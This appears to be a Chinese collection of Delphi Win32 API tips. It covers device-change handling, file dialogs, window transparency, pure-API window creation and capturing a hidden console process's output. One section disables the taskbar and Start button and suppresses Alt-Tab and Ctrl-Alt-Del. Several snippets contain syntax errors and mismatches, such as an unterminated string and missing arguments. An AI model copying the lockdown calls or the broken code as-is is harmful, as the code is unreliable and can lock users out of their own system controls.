SystemParametersInfo(SPI_GETWORKAREA )


响应PNP消息

支持硬件的即插即用。

响应即插即用变化

type

TForm1 = class(TForm)

Button1: TButton;

private

{ Private declarations }

procedure WMDeviceChange(var Message: TMessage);

message WM_DEVICECHANGE;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

const DBT_DEVICEARRIVAL = $8000;

const DBT_DEVICEQUERYREMOVE = $8001;

const DBT_DEVICEQUERYREMOVEFAILED = $8002;

const DBT_DEVICEREMOVEPENDING = $8003;

const DBT_DEVICEREMOVECOMPLETE = $8004;

const DBT_DEVICETYPESPECIFIC = $8005;

const DBT_CONFIGCHANGED = $0018;

procedure TForm1.WMDeviceChange(var Message: TMessage);

var

s : string;

begin

{Do Something here}

case Message.wParam of

DBT_DEVICEARRIVAL :

s := 'A device has been inserted and is now available';

DBT_DEVICEQUERYREMOVE: begin

s := 'Permission to remove a device is requested';

ShowMessage(s);

{True grants premission}

Message.Result := integer(true);

exit;

end;

DBT_DEVICEQUERYREMOVEFAILED :

s := 'Request to remove a device has been canceled';

DBT_DEVICEREMOVEPENDING :

s := 'Device is about to be removed';

DBT_DEVICEREMOVECOMPLETE :

s := 'Device has been removed';

DBT_DEVICETYPESPECIFIC :

s := 'Device-specific event';

DBT_CONFIGCHANGED :

s:= 'Current configuration has changed'

else s := 'Unknown Device Message';

end;

ShowMessage(s);

inherited;

end;


API函数压缩

最近小弟碰到一个问题，要在不脱离应用程序环境的情况下将一个目录下的所有文件压缩打包。想来想去只有采用API函数，具体思路是：

判断目录是否存在－＞开辟一个缓冲－＞将文件压缩到缓冲－＞将缓冲里面的数据写到一个文件。需要指出的是，压缩后的文件是微软的 CAB 格式。但是不幸的是将文件压缩到缓冲这个函数找不到！肯请各位帮忙！

小弟找到的相关函数有：

GetExpandedName 取压缩文件的原文件名

HeapCompact 压缩内存堆

LZCopy 复制文件或压缩

LZInit 初始化压缩数据结构

LZRead 从压缩文件中读入数据


打开文件对话框API

function SelectFile(handle:hwnd;Filename:pchar;sbsize:dword;initdir:pchar;fileext:pchar;filter:pchar;caption:pchar):integer;stdcall;external 'shell32.dll' index 63;

Ex:

selectfile(handle,buf,256,'c:','*.exe','*.txt'#0+'*.txt;*.exe'#0+'*.exe'#0+'*.exe'#0#0,'title');

GetOpenFileName

type

TLPOFNHOOKPROC=function(h:hwnd;uMsg:UINT;wp:wparam;lp:lParam):integer;

type

TOpenInfo=packed record

lStructSize:dword;

hwndOwner:hwnd;

hInstance:Hwnd;

lpstrFilter:LPCTSTR;

lpstrCustomFilter:LPTSTR;

nMaxCustFilter:dword;

nFilterIndex:dword;

lpstrFile:lptstr; //该参数使用来存放对话框返回的文件名（包含路径）的，得是一个至少256个长的Pchar

nMaxFile:dword; //该参数使用来指定info.lpstrFile长度以及存放对话框返回的文件名的长度的

lpstrFileTitle:lptstr;

nMaxFileTitle:dword;

lpstrInitialDir:lpctstr;

lpstrTitle:lpctstr;

Flags:dword;

nFileOffset:word;

nFileExtension:word;

lpstrDefExt:lpctstr;

lCustData:Lparam;

lpfnHook:TLPOFNHOOKPROC;

lpTemplateName:lpctstr;

pvReserved:integer;

dwReserved:dword;

FlagsEx:dword;

end;

function GetOpenFileName(var info:TOpenInfo):boolean;stdcall; external 'comdlg32.dll' name 'GetOpenFileNameA';

procedure TForm1.Button1Click(Sender: TObject);

var

info:TOpenInfo;

lpstrFile:array[0..1000] of char;

lpstrFileTitle:array[0..1000] of char;

lpstrFilter:array[0..50] of char;

S:String;

begin

FillChar(lpstrFile,SizeOf(lpstrFile),0);

FillChar(lpstrFileTitle,SizeOf(lpstrFileTitle),0);

FillChar(lpstrFilter,SizeOf(lpstrFilter),0);

S:='文本文件';

Move(S[1],lpstrFilter,Length(S));

S:='*.TXT';

Move(S[1],lpstrFilter[9],Length(S));

info.lStructSize:=sizeof(info);

info.hWndOwner:=handle;

info.hInstance:=hinstance;

info.lpstrFilter:=lpstrFilter;

info.lpstrCustomFilter:=nil;

info.nMaxCustFilter:=0;

info.nFilterIndex:=1;

info.lpstrFile:=lpstrFile;

info.nMaxFile:=SizeOf(lpstrFile);

info.lpstrFileTitle:=lpstrFileTitle;

info.nMaxFileTitle:=SizeOf(lpstrFileTitle);

info.lpstrInitialDir:='c:;

info.lpstrTitle:='Open Test';

info.Flags:=0;//OFN_ENABLESIZING+OFN_EXPLORER;

info.nFileOffset:=0;

info.nFileExtension:=0;

info.lpstrDefExt:='txt';

info.lCustData:=0;

info.lpfnHook:=nil;

info.lpTemplateName:='';

info.pvReserved:=0;

info.dwReserved:=0;

info.FlagsEx:=0;

try

if GetOpenFileName(info) then

ShowMessage(info.lpstrFile);

except

caption:=SysErrorMessage(getlasterror);

end;

end;


Delphi中使用回调函数例子

Delphi是支持回调函数的，举个例子（EnumWindows）如下

{回调函数}

function EnumerateWindows(hWnd: HWND; lParam: LPARAM): BOOL; stdcall;

var

Form1: TForm1;

implementation

procedure TForm1.Button1Click(Sender: TObject);

begin

ListBox1.Items.Clear;

EnumWindows(@EnumerateWindows,0);

end;

function EnumerateWindows(hWnd: HWND; lParam: LPARAM): BOOL;

var

TheText: Array[0..255] of char;

begin

if (GetWindowText(hWnd, TheText, 255)=0) then

Form1.ListBox1.Items.Add(Format('%d = {这个窗体没有标题}',[hWnd]))

else

Form1.ListBox1.Items.Add(Format('%d = %s',[hWnd,TheText]));

Result:=TRUE;

end;

我想看了上面的例子，EnumFontFamilies的用法你应该会用了。


设置num,scroll,capslock的状态

var keys: TKeyboardState;

begin

{1 = on, 0 = off}

GetKeyboardState( keys );

keys[VK_NUMLOCK] := 1; {Num Lock}

keys[VK_CAPITAL] := 1; {Caps Lock}

keys[VK_SCROLL] := 1; {Scroll Lock}

SetKeyboardState( keys );


开始菜单

禁止任务栏：

EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil)))

隐藏开始按钮：

var

rgn:hrgn;

Rgn := CreateRectRgn(0, 0, 0, 0);

SetWindowRgn(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0,'Button',nil),Rgn, true);

显示开始按钮：

{Turn the start button back on}

SetWindowRgn(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0,'Button',nil),0,true);

禁止开始按钮：

{Disable the start button}

EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0, 'Button', nil),false);

允许开始按钮：

{Enable the start button}

EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0,'Button',nil),true);

   //屏蔽 Alt-Tab

   SystemParametersInfo( SPI_SETFASTTASKSWITCH, 1, @tmp, 0);

   //屏蔽 Ctrl-Alt-Del

   SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @tmp, 0);


设置机器的区域设置
SetLocalInfo()


建立最小的应用程序

***************

program project;

uses

windows,Messages;

{$R *.RES}

const

appname='abc';

var

aMessage:tmsg;

hwindow,button1,button2:hwnd;

function WindowProc(window:hwnd;amessage,wparam,lparam:longint):longint;stdcall;export;

begin

windowproc:=0;

case amessage of

WM_DESTROY:

begin

destroywindow(button1);

destroywindow(button2);

PostQuitMessage(0);

exit;

end;

wm_command:

if lparam=button1 then

begin

MessageBox(hwindow,'fksd','kfdsl',MB_OK+MB_ICONINFORMATION);

end;

end;

windowproc:=defwindowproc(window,aMessage,wParam,lParam);

end;

function WinRegister:boolean;

var

WindowClass:TWndClass;

begin

WindowClass.style:=cs_hredraw or cs_vredraw ;

windowclass.lpfnWndProc:=@windowProc;

windowClass.cbClsExtra:=0;

windowClass.cbWndExtra:=0;

windowclass.hInstance:=hinstance;

windowclass.hIcon:=LoadIcon(0,IDI_APPLICATION);

windowclass.hCursor:=LoadCursor(0,IDC_ARROW);

windowclass.hbrBackground:=COLOR_BTNSHADOW;

windowclass.lpszMenuName:=nil;

windowclass.lpszClassName:=appname;

result:=Registerclass(windowClass)<>0;

end;

function WinCreate:hwnd;

var

hWindow:hwnd;

pchartemp:pchar;

param:tagCREATESTRUCT;

begin

hwindow:=CreateWindowEx(WS_EX_RTLREADING or WS_EX_APPWINDOW,appname,'文件分解与合并演示程序',WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,0,0,hinstance,nil);

if hwindow<>0 then

begin

param.cx:=20;

param.cy:=20;

param.dwExStyle:=WS_CHILD+BS_PUSHBUTTON;

param.hInstance:=hinstance;

param.hMenu:=0;

param.hwndParent:=hwindow;

param.lpszClass:='button';

param.x:=20;

param.y:=20;

pchartemp:='Kingron TEMP';

button1:=createwindow('button','合并文件',param.dwExStyle,param.y,param.y,60,30,hwindow,0,hinstance,@param);

param.x:=40;

param.y:=60;

button2:=createwindow('button','分解文件',param.dwExStyle,param.y,param.y,60,30,hwindow,0,hinstance,@param);

showwindow(hwindow,cmdshow);

showwindow(button2,cmdshow);

showwindow(button1,cmdshow);

updatewindow(hwindow);

end;

result:=hwindow;

end;

begin

if not winregister then

begin

MessageBox(0,'窗口注册失败','错误',MB_OK+MB_ICONINFORMATION);

exit;

end;

hwindow:=wincreate;

while GetMessage(aMessage,0,0,0) do

begin

TranslateMessage(amessage);

DispatchMessage(aMessage);

end;

halt(amessage.wParam);

end.


Windows 2000支持淡入淡出效果

Dragon P.C. <dragonpc@21cn.com>

http://www.webking.com.cn

Windows 2000支持淡入淡出效果，大家都知道了。前两天研究FormContainer的Form显

示效果时，得高人告知，核心API函数就是SetLayeredWindowAttributes，以下的控件

代码是让你的窗口实现淡入淡出效果而设计，通过编程时动态改变AlphaValue值，您就

可以看到效果了。

unit TranForm; {DragonPC 2001.2.21 }

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

TTranForm = class(TComponent)

private

FAlphaValue : integer ;

FHandle : HWND ;

procedure SetFAlphaValue(Alpha:integer) ;

protected

procedure UpdateDisplay ;

public

constructor Create(AOwner: TComponent); override;

published

property AlphaValue : integer read FAlphaValue write SetFAlphaValue ;

end;

procedure Register;

function SetLayeredWindowAttributes

(Handle : HWND; COLORKEY : COLORREF; Alpha : BYTE; Flags : DWORD) :

Boolean;

stdcall; external 'USER32.DLL';

implementation

procedure Register;

begin

RegisterComponents('Standard', [TTranForm]);

end;

{ TTranForm }

procedure TTranForm.SetFAlphaValue(Alpha: integer);

begin

if (Alpha >= 0) and (Alpha < 256) then begin

FAlphaValue := Alpha ;

UpdateDisplay() ;

end else

ShowMessage('请输入0~255之间的值！') ;

end;

procedure TTranForm.UpdateDisplay;

begin

if not (csDesigning in ComponentState) then

SetLayeredWindowAttributes(FHandle, 0, FAlphaValue, 2);

{我屏蔽了设计期的显示效果，如果你愿意可以改改，建议设计时最好不要看到效果}

end;

constructor TTranForm.Create(AOwner: TComponent);

begin

inherited;

FAlphaValue := 255 ;

FHandle := TForm(Owner).Handle ;

if not (csDesigning in ComponentState) then

SetWindowLong(FHandle,GWL_EXSTYLE, GetWindowLong(FHandle, GWL_EXSTYLE )

or $80000 );

{我屏蔽了设计期的显示效果，如果你愿意可以改改，建议设计时最好不要看到效果}

end;

end.

**************

const

WS_EX_LAYERED = $80000;

AC_SRC_OVER = $0;

AC_SRC_ALPHA = $1;

AC_SRC_NO_PREMULT_ALPHA = $1;

AC_SRC_NO_ALPHA = $2;

AC_DST_NO_PREMULT_ALPHA = $10;

AC_DST_NO_ALPHA = $20;

LWA_COLORKEY = $1;

LWA_ALPHA = $2;

ULW_COLORKEY = $1

ULW_ALPHA = $2

ULW_OPAQUE = $4

//新增加的常量定义

function SetLayeredWindowAttributes(hwnd:HWND; crKey:Longint; bAlpha:byte; dwFlags:longint ):longint; stdcall; external user32;//函数声明

procedure TForm1.FormCreate(Sender: TObject);

var l:longint;

begin

l:=getWindowLong(Handle, GWL_EXSTYLE);

l := l Or WS_EX_LAYERED;

SetWindowLong (handle, GWL_EXSTYLE, l);

SetLayeredWindowAttributes (handle, 0, 180, LWA_ALPHA);

//第二个参数是指定透明颜色

//第二个参数为0则使用第四个参数设置alpha值，从0到255，其他的我不太清楚，因为没有api帮助

end;


一个有助于用纯API建立窗口的单元 [ small.pas ]

unit Small;

interface

function CreateButton(ACaption : String; AHandle : Integer; Left, Top, Right, Bottom : Integer):Integer;

function CreateLabel(AHandle : Integer; Left, Top, Right, Bottom : Integer):Integer;

function CreateEdit(AHandle : Integer; Left, Top, Right, Bottom : Integer):Integer;

function CreateMaskedEdit(AHandle : Integer; Left, Top, Right, Bottom : Integer):Integer;

function CreateListBox(AHandle : Integer; Left, Top, Right, Bottom : Integer):Integer;

function CreateComboBox(AHandle : Integer; Left, Top, Right, Bottom : Integer):Integer;

function MakeFont(AFont : String):Integer;

function FastForm(AClassName, ACaption : String; Left, Top, Right, Bottom : Integer):Integer;

function LaunchOpenDialog(AHandle : Integer; var AFileName : String; AInitialDir, AFilter : String):Boolean;

function LaunchSaveDialog(AHandle : Integer; var AFileName : String; AInitialDir, AFilter : String):Boolean;

procedure ListBoxAdd(AHandle : Integer; AString : String);

procedure ListBoxDelete(AHandle, Index : Integer);

procedure ComboBoxAdd(AHandle : Integer; AString : String);

procedure SetFont(AHandle, AFont : Integer);

procedure SetInstance(AInstance : Integer);

implementation

uses

Windows, Messages, CommDlg;

var

TheInstance : Integer;

procedure SetInstance;

begin

TheInstance := AInstance;

end;{ SetInstance }

function CreateButton;

begin

Result := CreateWindow('Button', PChar(ACaption), WS_VISIBLE or WS_CHILD or BS_PUSHLIKE or BS_TEXT,

Left, Top, Right, Bottom, AHandle, 0, TheInstance, nil);

end;{ CreateButton }

function CreateLabel;

begin

Result := Createwindow('Static','', WS_VISIBLE or WS_CHILD or SS_LEFT,

Left, Top, Right, Bottom, AHandle, 0, TheInstance, nil);

end;{ CreateLabel }

function CreateEdit;

begin

Result := CreateWindowEx(WS_EX_CLIENTEDGE, 'Edit', '', WS_CHILD or WS_VISIBLE or

WS_BORDER, Left, Top, Right, Bottom, AHandle, 0, TheInstance, nil);

end;{ CreateEdit }

function MakeFont;

begin

Result := CreateFont(-11, 0, 0, 0, 400, 0, 0, 0, DEFAULT_CHARSET,

OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,

DEFAULT_PITCH or FF_DONTCARE, PChar(AFont));

end;{ CreateFont }

procedure SetFont;

begin

SendMessage(AHandle, WM_SETFONT, AFont, 0);

end;{ SetFont }

function FastForm;

var

WinClass: TWndClassA;

begin

{ ** Create Main Window ** }

Result := CreateWindowEx(WS_EX_WINDOWEDGE,PChar(AClassName),PChar(ACaption),

WS_VISIBLE or WS_SIZEBOX or WS_CAPTION or WS_SYSMENU

or WS_MAXIMIZEBOX or WS_MINIMIZEBOX,

Left, Top, Right, Bottom, 0, 0, TheInstance, nil);

end;{ FastForm }

function CreateMaskedEdit;

begin

Result := CreateWindowEx(WS_EX_CLIENTEDGE,'Edit', '', WS_CHILD or WS_VISIBLE or

WS_BORDER or ES_PASSWORD, Left, Top, Right, Bottom, AHandle, 0, TheInstance, nil);

end;{ CreateMaskedEdit }

function CreateListBox;

begin

Result := CreateWindowEx(WS_EX_CLIENTEDGE,'LISTBOX', '', WS_CHILD or WS_VISIBLE or

LBS_DISABLENOSCROLL or LBS_NOINTEGRALHEIGHT or LBS_NOTIFY,

Left, Top, Right, Bottom, AHandle, 0, TheInstance, nil);

end;

procedure ListBoxAdd;

begin

SendMessage(AHandle, LB_ADDSTRING , 0, Integer(PChar(AString)));

end;{ ListBoxAdd }

procedure ListBoxDelete;

begin

SendMessage(AHandle, LB_DELETESTRING , Index, 0);

end;{ ListBoxDelete }

function CreateComboBox;

begin

Result := CreateWindowEx(WS_EX_CLIENTEDGE,'COMBOBOX', '', WS_CHILD or WS_VISIBLE or

CBS_NOINTEGRALHEIGHT ,

Left, Top, Right, Bottom, AHandle, 0, TheInstance, nil);

end;{ CreateComboBox }

procedure ComboBoxAdd;

begin

SendMessage(AHandle, CB_ADDSTRING , 0, Integer(PChar(AString)));

end;{ ComboBoxAdd }

procedure LaunchOpenDialog;

var

OpenFileName : TOpenFilename;

begin

SetLength(AFileName,MAX_PATH);

FillChar(OpenFileName, SizeOf(OpenFileName), 0);

with OpenFileName do

begin

lStructSize := SizeOf(TOpenFilename);

hWndOwner := AHandle;

hInstance := TheInstance;

lpstrFilter := PChar(AFilter);

nMaxFile := MAX_PATH;

lpstrFile := PChar(AFileName);

lpstrInitialDir := PChar(AInitialDir);

lpstrTitle := PChar('Open');

Flags := OFN_HIDEREADONLY;

end;

Result := GetOpenFileName(OpenFilename);

end;{ LaunchOpenDialog }

procedure LaunchSaveDialog;

var

OpenFileName : TOpenFilename;

begin

SetLength(AFileName,MAX_PATH);

FillChar(OpenFileName, SizeOf(OpenFileName), 0);

with OpenFileName do

begin

lStructSize := SizeOf(TOpenFilename);

hWndOwner := AHandle;

hInstance := TheInstance;

lpstrFilter := PChar(AFilter);

nMaxFile := MAX_PATH;

lpstrFile := PChar(AFileName);

lpstrInitialDir := PChar(AInitialDir);

lpstrTitle := PChar('Save');

Flags := OFN_HIDEREADONLY;

end;

Result := GetSaveFileName(OpenFilename);

end;{ LaunchSaveDialog }

end.

*************Demo*****************

program SmallDemo;

uses

Windows,

Messages,

SysUtils,

Small in 'Small.pas';

var

WinClass: TWndClassA;

Inst, Handle, Button1, Button2, Button3, Label1,

Edit1, Edit2, Label2, ListBox1, ComboBox1 : Integer;

Msg: TMsg;

hFont: Integer;

{ Checks if typed password is 'Amigreen' and shows Message }

procedure CheckPassword;

var

Textlength: Integer;

Text: PChar;

begin

TextLength := GetWindowTextLength(Edit1);

if TextLength = 6 then

begin

GetMem(Text, TextLength + 1);

GetWindowText(Edit1, Text, TextLength + 1);

if Text = 'gunmen' then

begin

MessageBoxA(Handle, 'Password is correct.', 'Password check', MB_OK);

FreeMem(Text, TextLength + 1);

Exit;

end;

end;

MessageBoxA(Handle, 'Password is incorrect.', 'Password check', MB_OK);

end;

procedure DialogOpen;

var

FileName, Filter : String;

begin

FileName := 'A file name';

Filter := 'All(*.*)' + #0 + '*.*' + #0;

if LaunchOpenDialog(Handle,FileName,'c:\windows\desktop',Filter) then

MessageBoxA(Handle, PChar(FileName), 'file', MB_OK);

end;

procedure DialogSave;

var

FileName, Filter, InitDir : String;

begin

FileName := 'A file name';

Filter := 'All(*.*)' + #0 + '*.*' + #0;

InitDir := 'c:\windows\desktop';

if LaunchSaveDialog(Handle,FileName,InitDir,Filter) then

MessageBoxA(Handle, PChar(FileName), 'file', MB_OK);

end;

procedure ListBoxClick;

var

N : Integer;

begin

MessageBoxA(Handle, 'ListBox Message', 'we got your message', MB_OK);

N := SendMessage(ListBox1,LB_GETCOUNT, 0, 0);

if N = 1 then

ListBoxAdd(ListBox1,'new item')

else

ListBoxDelete(ListBox1,N-1);

end;

procedure ComboBoxClick;

var

N : Integer;

begin

N := SendMessage(ComboBox1,CB_GETCOUNT, 0, 0);

MessageBoxA(Handle, PChar(Format('ComboBox Message%SItems : %d', [#10,N])), 'we got your message', MB_OK);

end;

{ Custom WindowProc function }

function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;

begin

{ for all the usuall messages }

Result := DefWindowProc(hWnd, uMsg, wParam, lParam);

{ Checks for messages }

case uMsg of

WM_COMMAND : if lParam = Button1 then CheckPassword else

if lParam = Button2 then DialogOpen else

if lParam = Button3 then DialogSave {else

if lParam = ListBox1 then ListBoxClick else

if lParam = ComboBox1 then ComboBoxClick};

WM_DESTROY : Halt;

end;

end;

begin

{ ** Register Custom WndClass ** }

SetInstance(hInstance);

Inst := hInstance;

FillChar(WinClass, SizeOf(WinClass), 0);

with WinClass do

begin

style := CS_CLASSDC or CS_PARENTDC;

lpfnWndProc := @WindowProc;

hInstance := Inst;

hbrBackground := color_btnface + 1;

lpszClassname := 'SMALL_TESTWINDOW';

hCursor := LoadCursor(0, IDC_ARROW);

end; { with }

RegisterClass(WinClass);

{ ** Create Main Window ** }

Handle := FastForm('SMALL_TESTWINDOW','Small unit TestWindow 1.00',363, 100, 305, 400);

{ ** Create a button ** }

Button1 := CreateButton('OK', handle, 216, 8, 75, 49 );

Button2 := CreateButton('Open Dialog', handle, 215, 230, 80, 50);

Button3 := CreateButton('Save Dialog', handle, 215, 290, 80, 50);

{ ** Create a label (static) ** }

Label1 := CreateLabel(handle, 8, 12, 76, 13);

Label2 := CreateLabel(handle,8, 34, 76, 13);

{ ** Create an edit field ** }

Edit1 := CreateMaskedEdit(handle, 88, 8, 121, 21);

Edit2 := CreateEdit(handle, 88, 32, 121, 21);

{ ** Create an List Box ** }

ListBox1 := CreateListBox(handle, 8, 60, 281, 160);

ComboBox1 := CreateComboBox(handle, 8, 230,200,140);

{ ** Create Font Handle ** }

hFont := MakeFont('MS Sans Serif');

{ Change fonts }

if hFont <> 0 then

begin

SetFont(Button1 , hFont);

SetFont(Button2 , hFont);

SetFont(Button3 , hFont);

SetFont(Label1 , hFont);

SetFont(Edit1, hFont);

SetFont(Label2, hFont);

SetFont(Edit2, hFont);

SetFont(ListBox1, hFont);

SetFont(ComboBox1, hFont);

end;

{ Change label (static) text }

SetWindowText(Label1, 'Enter password:');

SetWindowText(Label2, 'My Label');

{ Add a string to the ListBox }

ListBoxAdd(ListBox1, 'First Item');

ListBoxAdd(ListBox1, 'Second Item');

ListBoxAdd(ListBox1, 'a few items');

ListBoxAdd(ListBox1, 'last Item');

{ Add a string to the ListBox }

ComboBoxAdd(ComboBox1, 'First Item');

ComboBoxAdd(ComboBox1, 'Second Item');

ComboBoxAdd(ComboBox1, 'a few items');

ComboBoxAdd(ComboBox1, 'Item');

ComboBoxAdd(ComboBox1, 'Item');

ComboBoxAdd(ComboBox1, 'last Item');

{ Set the focus to the edit control }

SetFocus(Edit1);

UpdateWindow(Handle);

{ ** Message Loop ** }

while(GetMessage(Msg, Handle, 0, 0)) do

begin

TranslateMessage(msg);

DispatchMessage(msg);

end; { while }

end.


执行控制台程序并且获得它的输出结果

前几日遇到的问题在各位的帮助下已经圆满解决，现在吧这段代码写出来，可能会有一点用处。

procedure CheckResult(b: Boolean);

begin

if not b then

Raise Exception.Create(SysErrorMessage(GetLastError));

end;

function RunDOS(const Prog, CommandLine,Dir: String;var ExitCode:DWORD): String;

var

HRead,HWrite:THandle;

StartInfo:TStartupInfo;

ProceInfo:TProcessInformation;

b:Boolean;

sa:TSecurityAttributes;

inS:THandleStream;

sRet:TStrings;

begin

Result := '';

FillChar(sa,sizeof(sa),0);

//设置允许继承，否则在NT和2000下无法取得输出结果

sa.nLength := sizeof(sa);

sa.bInheritHandle := True;

sa.lpSecurityDescriptor := nil;

b := CreatePipe(HRead,HWrite,@sa,0);

CheckResult(b);

FillChar(StartInfo,SizeOf(StartInfo),0);

StartInfo.cb := SizeOf(StartInfo);

StartInfo.wShowWindow := SW_HIDE;

//使用指定的句柄作为标准输入输出的文件句柄,使用指定的显示方式

StartInfo.dwFlags := STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW;

StartInfo.hStdError := HWrite;

StartInfo.hStdInput := GetStdHandle(STD_INPUT_HANDLE);//HRead;

StartInfo.hStdOutput := HWrite;

b := CreateProcess(PChar(Prog),//lpApplicationName: PChar

PChar(CommandLine), //lpCommandLine: PChar

nil, //lpProcessAttributes: PSecurityAttributes

nil, //lpThreadAttributes: PSecurityAttributes

True, //bInheritHandles: BOOL

CREATE_NEW_CONSOLE,

nil,

PChar(Dir),

StartInfo,

ProceInfo );

CheckResult(b);

WaitForSingleObject(ProceInfo.hProcess,INFINITE);

GetExitCodeProcess(ProceInfo.hProcess,ExitCode);

inS := THandleStream.Create(HRead);

if inS.Size>0 then

begin

sRet := TStringList.Create;

sRet.LoadFromStream(inS);

Result := sRet.Text;

sRet.Free;

end;

inS.Free;

CloseHandle(HRead);

CloseHandle(HWrite);

end;

*******************

function GetDosOutput(const CommandLine:string): string;

var

SA: TSecurityAttributes;

SI: TStartupInfo;

PI: TProcessInformation;

StdOutPipeRead, StdOutPipeWrite: THandle;

WasOK: Boolean;

Buffer: array[0..255] of Char;

BytesRead: Cardinal;

WorkDir, Line: String;

begin

Application.ProcessMessages;

with SA do

begin

nLength := SizeOf(SA);

bInheritHandle := True;

lpSecurityDescriptor := nil;

end;

// create pipe for standard output redirection

CreatePipe(StdOutPipeRead, // read handle

StdOutPipeWrite, // write handle

@SA, // security attributes

0 // number of bytes reserved for pipe - 0 default

);

try

// Make child process use StdOutPipeWrite as standard out,

// and make sure it does not show on screen.

with SI do

begin

FillChar(SI, SizeOf(SI), 0);

cb := SizeOf(SI);

dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;

wShowWindow := SW_HIDE;

hStdInput := GetStdHandle(STD_INPUT_HANDLE); // don't redirect stdinput

hStdOutput := StdOutPipeWrite;

hStdError := StdOutPipeWrite;

end;

// launch the command line compiler

WorkDir := ExtractFilePath(CommandLine);

WasOK := CreateProcess(nil, PChar(CommandLine), nil, nil, True, 0, nil,

PChar(WorkDir), SI, PI);

// Now that the handle has been inherited, close write to be safe.

// We don't want to read or write to it accidentally.

CloseHandle(StdOutPipeWrite);

// if process could be created then handle its output

if not WasOK then

raise Exception.Create('Could not execute command line!')

else

try

// get all output until dos app finishes

Line := '';

repeat

// read block of characters (might contain carriage returns and line feeds)

WasOK := ReadFile(StdOutPipeRead, Buffer, 255, BytesRead, nil);

// has anything been read?

if BytesRead > 0 then

begin

// finish buffer to PChar

Buffer[BytesRead] := #0;

// combine the buffer with the rest of the last run

Line := Line + Buffer;

end;

until not WasOK or (BytesRead = 0);

// wait for console app to finish (should be already at this point)

WaitForSingleObject(PI.hProcess, INFINITE);

finally

// Close all remaining handles

CloseHandle(PI.hThread);

CloseHandle(PI.hProcess);

end;

finally

result:=Line;

CloseHandle(StdOutPipeRead);

end;

end;

**************

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Memo1: TMemo;

OpenDialog1: TOpenDialog;

btnRUn: TButton;

btnOpenFIle: TButton;

btnEditFile: TButton;

editfilename: TEdit;

procedure btnOpenfileClick(Sender: TObject);

procedure btnRunClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.btnOpenfileClick(Sender: TObject);

begin

if opendialog1.Execute then editfilename.Text := opendialog1.FileName;

end;

procedure TForm1.btnRunClick(Sender: TObject);

var

hReadPipe, hWritePipe: THandle;

si: STARTUPINFO;

lsa: SECURITY_ATTRIBUTES;

pi: PROCESS_INFORMATION;

mDosScreen: string;

cchReadBuffer: DWORD;

ph: PChar;

fname: PChar;

i, j: integer;

begin

fname := allocmem(255);

ph := AllocMem(5000);

lsa.nLength := sizeof(SECURITY_ATTRIBUTES);

lsa.lpSecurityDescriptor := nil;

lsa.bInheritHandle := True;

if CreatePipe(hReadPipe, hWritePipe, @lsa, 0) = false then

begin

ShowMessage('Can not create pipe!');

exit;

end;

fillchar(si, sizeof(STARTUPINFO), 0);

si.cb := sizeof(STARTUPINFO);

si.dwFlags := (STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);

si.wShowWindow := SW_SHOW;

si.hStdOutput := hWritePipe;

StrPCopy(fname, EditFilename.text);

if CreateProcess(nil, fname, nil, nil, true, 0, nil, nil, si, pi) = False then

begin

ShowMessage('can not create process');

FreeMem(ph);

FreeMem(fname);

Exit;

end;

while (true) do

begin

if not PeekNamedPipe(hReadPipe, ph, 1, @cchReadBuffer, nil, nil) then break;

if cchReadBuffer <> 0 then

begin

if ReadFile(hReadPipe, ph^, 4096, cchReadBuffer, nil) = false then break;

ph[cchReadbuffer] := chr(0);

Memo1.Lines.Add(ph);

end

else if (WaitForSingleObject(pi.hProcess, 0) = WAIT_OBJECT_0) then break;

Sleep(100);

end;

ph[cchReadBuffer] := chr(0);

Memo1.Lines.Add(ph);

CloseHandle(hReadPipe);

CloseHandle(pi.hThread);

CloseHandle(pi.hProcess);

CloseHandle(hWritePipe);

FreeMem(ph);

FreeMem(fname);

end;

end.


得到其他程序的输入法状态

如果你只是想要得到其他程序是什么输入法，那很容易只要你调用

TID := GetWindowThreadProcessID(GetForegroundWindow,@PID);

MyHkl := GetKeyBoardLayout(TID);

就可以得到当前窗口的输入法，如果MyHkl mod 65536 <>1033 （可能记错了，你查帮助吧！）就是中文输入法。


如何在选择目录对话框中添加一个Edit框
在BrowseInfo的uFlags中加上16就可以了。常量为BIF_EDITBOX，另外有一个常量64，你加上看看？：）


GetXXXXX函数

WriteBy:小雨哥 <wangxy@371.net>

WinAPI之GetXXXX函数：

GetACP 获取ANSI系统代码页

GetAce 返回指向ACL中的ACE的指针

GetAclInformation 返回访问控件表信息

GetActiveWindow 返回活动窗口句柄

GetArcDirection 返回弧和矩形的绘画方向

GetAspectRatioFilterEx 返回当前ASPECT-RATIO过滤器

GetAsyncKeyState 确定键的状态

GetAtomName 返回本地原子字符串

GetBinaryType 确定二进制可执行文件类型

GetBitmapBits 将位图复制到缓冲区

GetBitmapDimensionEx 返回位图宽和高

GetBkColor 返回当前背景色

GetBkMode 返回背景模式

GetBoundsRect 返回当前相邻矩形

GetCPInfo 获取代码页信息

GetCaretBlinkTime 返回脱字号闪烁时间

GetCaretPos 返回当前脱字号位置

GetCharABCWidths 返回字符宽度

GetCharABCWidthsFloat 返回字符宽度

GetCharWidth 返回字符宽度

GetCharWidth32 返回字符宽度

GetCharWidthFloat 返回部分字符宽度

GetCharacterPlacement 获取字符串属性数据

GetClassInfo 返回窗口类信息

GetClassLong 返回窗口类数据

GetClassName 返回窗口类名称

GetClassWord 返回窗口类内存字

GetClientRect 返回窗口客户区坐标

